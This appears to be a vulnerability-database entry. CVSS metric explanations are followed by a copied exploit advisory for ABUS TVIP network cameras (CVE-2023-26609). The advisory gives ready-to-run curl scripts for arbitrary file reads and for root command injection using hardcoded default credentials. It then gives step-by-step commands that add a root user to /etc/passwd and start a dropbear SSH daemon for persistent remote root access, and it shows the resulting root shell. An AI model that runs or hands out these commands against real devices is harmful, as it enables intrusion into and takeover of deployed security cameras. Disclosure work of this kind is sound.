The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ABUS Security Camera TVIP 20000-21150 LFI / Remote Code Execution
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Exploit Title:ABUS Security Camera LFI, RCE and SSH Root Access
# Date:2023-02-16
# Exploit Author:[email protected] for NetworkSEC [NWSSA-001-2023]
# Vendor Homepage:https://www.abus.com
# Version/Model:TVIP 20000-21150 (probably many others)
# Tested on:GM ARM Linux 2.6, Server: Boa/0.94.14rc21
# CVE:CVE-2023-26609
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++
0x00DESCRIPTION
++++++++++++++++++++
During a recent engagement, a network camera was discovered. Web fuzzing
revealed a URL of
/device
containing output about running processes as well as a pretty complete
listing of webcontent which inevitably arose our suspicion.
More research revealed that files w/ known LFI and RCE issues were present,
leading to either arbitrary file reads or remote code execution, both w/
root privileges and using known default credentials (either admin:admin
or manufacture:erutcafunam).
After closer filesystem inspection, RCE led to a remote root SSH shell.
+++++++++++++++
0x01IMPACT
+++++++++++++++
The LFI vulnerability can be exploited using a URL of:
/cgi-bin/admin/fileread?READ.filePath=[filename]
and is able to read any file on the system.
The RCE vulnerability originates from a command injection and may be
exploited by calling a URL of:
/cgi-bin/mft/wireless_mft?ap=irrelevant;[command]
(as classy as it can get, we can also use the pipe "|" instead, and
linefeed a.k.a. "%0a" works as well)
effectively giving us remote code (or rather command) execution.
+++++++++++++++++++++++++++++++
0x02 PROOF OF CONCEPT (PoC)
+++++++++++++++++++++++++++++++
#!/bin/bash
#
# ABUS Security Camera LFI
#
curl -iv "http://admin:[email protected]/cgi-bin/admin/fileread?READ.filePath=/$1"
The script can be called like:
./LFI.sh /etc/passwd
to display the contents of the passwd file. When reading the configuration of
the BOA server (/etc/boa.conf), we find hardcoded credentials:
# MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam
These can now be used to execute the RCE (based on command injection):
#!/bin/bash
#
# ABUS Security Camera RCE
#
curl -iv "http://manufacture:[email protected]/cgi-bin/mft/wireless_mft?ap=testname;$1"
and can be called like:
./LFI.sh id
to display a user id of
uid=0(root) gid=0(root)
+++++++++++++++++++++++++++++++
0x03SSH Remote Root Access
+++++++++++++++++++++++++++++++
After having discovered the previously described vulnerabilities, multiple
attempts to spawn a nice reverse shell failed as the system was minimal
and did neither offer binaries like bash or netcat, nor any compilers or
scripting language interpreters to execute our code. Furthermore, binaries
that we transferred onto the system (for ARM little-endian architecture)
either resulted in "Segmentation fault" (mfsvenom) or as we saw later
"Illegal instruction" (netcat for ARM).
We had to inspect the local attack surface and use the LOLBIN approach,
a.k.a. living off the land binaries available on the system.
In this case, the minimal and often busybox-included dropbear SSH daemon
became pretty handy.
To successfully implement a remote root SSH shell for persistance, several
steps had to be undertaken:
1) First, we had to create a valid SSH keyset by reusing our RCE.sh skript:
./RCE.sh "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"
2) Then, add our user to the password file, e.g.:
./RCE.sh "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd"
3) Finally, start the server:
./RCE.sh "/etc/dropbear/dropbear%20-E%20-F"
We can now SSH (using obsolete and insecure algorithms for both KeyExchange and HostKey)
into our rootshell:
sshpass -p XXXXXXX ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa [email protected]
Welcome to
_____ __ ___ __ ___ _ _ _
| ___| / \ / __ \ / \ | _ \ / \ \ \ / /
| |___ / /\ \ | /__\ \ / /\ \ | | \ | / /\ \ \ V /
| ___|| |__| | | _ / | |__| | | | | | | |__| | \ /
| | | __ | | | \ \ | __ | | |_/ / | __ | | |
|_| |_| |_| |_| \_\|_| |_| |___ / |_| |_| |_|
For further information check:
http://www.GM.com/
BusyBox v1.1.3 (2012.07.16-03:58+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
[d1g]# id
uid=0(root) gid=0(root)
---
#EOF
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